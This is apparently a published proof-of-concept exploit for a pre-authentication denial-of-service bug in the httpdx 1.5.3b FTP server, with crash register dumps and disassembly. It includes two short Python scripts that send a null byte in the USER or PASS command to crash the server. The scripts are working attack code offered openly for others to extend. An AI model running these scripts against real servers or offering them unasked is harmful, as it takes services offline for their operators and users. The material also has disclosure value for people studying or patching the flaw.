# Title: httpdx v1.5.3b Multiple - Remote Pre-Authentication DoS (PoC crash)
# From: The eh?-Team || The Great White Fuzz (we're not sure yet)
# Found by: loneferret
# Hat's off to dookie2000ca
# Date: 13/03/2010
# Software link: http://httpdx.sourceforge.net/downloads/
# Tested on: Windows XP SP3 Professional

# Nod to the Exploit-DB Team

#Not to beat a dead horse, but when I saw the latest release notes
#about how he fixed a few security bugs. I figured I'd give this one
#another go at it.
#He did fix quite a few bugs, but he created this one in the process.
#I've included 2 PoCs for both the USER & PASS command.

#As always, if anyone wants to take this further, go right ahead.

#============================USER Command===============================
#CONTEXT DUMP
# EIP: 77c47b79 mov [edi],eax
# EAX: 00000000 ( 0) -> N/A
# EBX: fffffffa (4294967290) -> N/A
# ECX: 3ffff68b (1073739403) -> N/A
# EDX: 7efeff1f (2130640671) -> N/A
# EDI: 003f0000 ( 4128768) -> N/A
# ESI: 003eca36 ( 4114998) -> (heap)
# EBP: 0022dde4 ( 2285028) -> "@(>t"@@(>@@(>@@(>(>(> (stack)
# ESP: 0022ba9c ( 2275996) -> 0> (stack)
# +00: 003eca30 ( 4114992) -> USER (heap)
# +04: 00000000 ( 0) -> N/A
# +08: 00000000 ( 0) -> N/A
# +0c: 0040d663 ( 4249187) -> N/A
# +10: 003eda30 ( 4119088) -> (heap)
# +14: 003eca35 ( 4114997) -> (heap)

#disasm around:
# 0x77c47b61 and edx,0xff
# 0x77c47b67 mov [edi],edx
# 0x77c47b69 jmp 0x77c47b6f
# 0x77c47b6b xor edx,edx
# 0x77c47b6d mov [edi],edx
# 0x77c47b6f add edi,0x4
# 0x77c47b72 xor eax,eax
# 0x77c47b74 dec ecx
# 0x77c47b75 jz 0x77c47b81
# 0x77c47b77 xor eax,eax
# 0x77c47b79 mov [edi],eax
# 0x77c47b7b add edi,0x4
# 0x77c47b7e dec ecx
# 0x77c47b7f jnz 0x77c47b79
# 0x77c47b81 and ebx,0x3
# 0x77c47b84 jnz 0x77c47b0b
# 0x77c47b86 mov eax,[esp+0x10]
# 0x77c47b8a pop ebx
# 0x77c47b8b pop esi
# 0x77c47b8c pop edi
# 0x77c47b8d ret

#stack unwind:
# httpdx.exe:0040ffec
# kernel32.dll:7c80b713

#SEH unwind:
# ffffffff -> kernel32.dll:7c839ac0 push ebp

#!/usr/bin/python

import socket

buffer = "\000"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('xxx.xxx.xxx.xxx',21)) #Remember to put in the server's address
s.recv(1024)
s.send('USER '+ buffer +'\r\n')
s.recv(1024)
s.close

#============================PASS Command===============================

#CONTEXT DUMP
# EIP: 77c47b79 mov [edi],eax
# EAX: 00000000 ( 0) -> N/A
# EBX: fffffffa (4294967290) -> N/A
# ECX: 3ffed77d (1073665917) -> N/A
# EDX: 7efeff1f (2130640671) -> N/A
# EDI: 00c63000 ( 12988416) -> N/A
# ESI: 00c17cfe ( 12680446) -> (heap)
# EBP: 0186dde4 ( 25615844) -> @|t@@|@@|@@||| (stack)
# ESP: 0186ba9c ( 25606812) -> |)@| PASS (heap)
# +04: 00000000 ( 0) -> N/A
# +08: 00000000 ( 0) -> N/A
# +0c: 0040d729 ( 4249385) -> N/A
# +10: 00c18df8 ( 12684792) -> (heap)
# +14: 00c17cfd ( 12680445) -> (heap)

#disasm around:
# 0x77c47b61 and edx,0xff
# 0x77c47b67 mov [edi],edx
# 0x77c47b69 jmp 0x77c47b6f
# 0x77c47b6b xor edx,edx
# 0x77c47b6d mov [edi],edx
# 0x77c47b6f add edi,0x4
# 0x77c47b72 xor eax,eax
# 0x77c47b74 dec ecx
# 0x77c47b75 jz 0x77c47b81
# 0x77c47b77 xor eax,eax
# 0x77c47b79 mov [edi],eax
# 0x77c47b7b add edi,0x4
# 0x77c47b7e dec ecx
# 0x77c47b7f jnz 0x77c47b79
# 0x77c47b81 and ebx,0x3
# 0x77c47b84 jnz 0x77c47b0b
# 0x77c47b86 mov eax,[esp+0x10]
# 0x77c47b8a pop ebx
# 0x77c47b8b pop esi
# 0x77c47b8c pop edi
# 0x77c47b8d ret

#stack unwind:
# httpdx.exe:0040ffec
# kernel32.dll:7c80b713

#SEH unwind:
# ffffffff -> kernel32.dll:7c839ac0 push ebp

#!/usr/bin/python

import socket

buffer = "\000"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('xxx.xxx.xxx.xxx',21)) #Remember to put in the server's address
s.recv(1024)
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.recv(1024)
s.close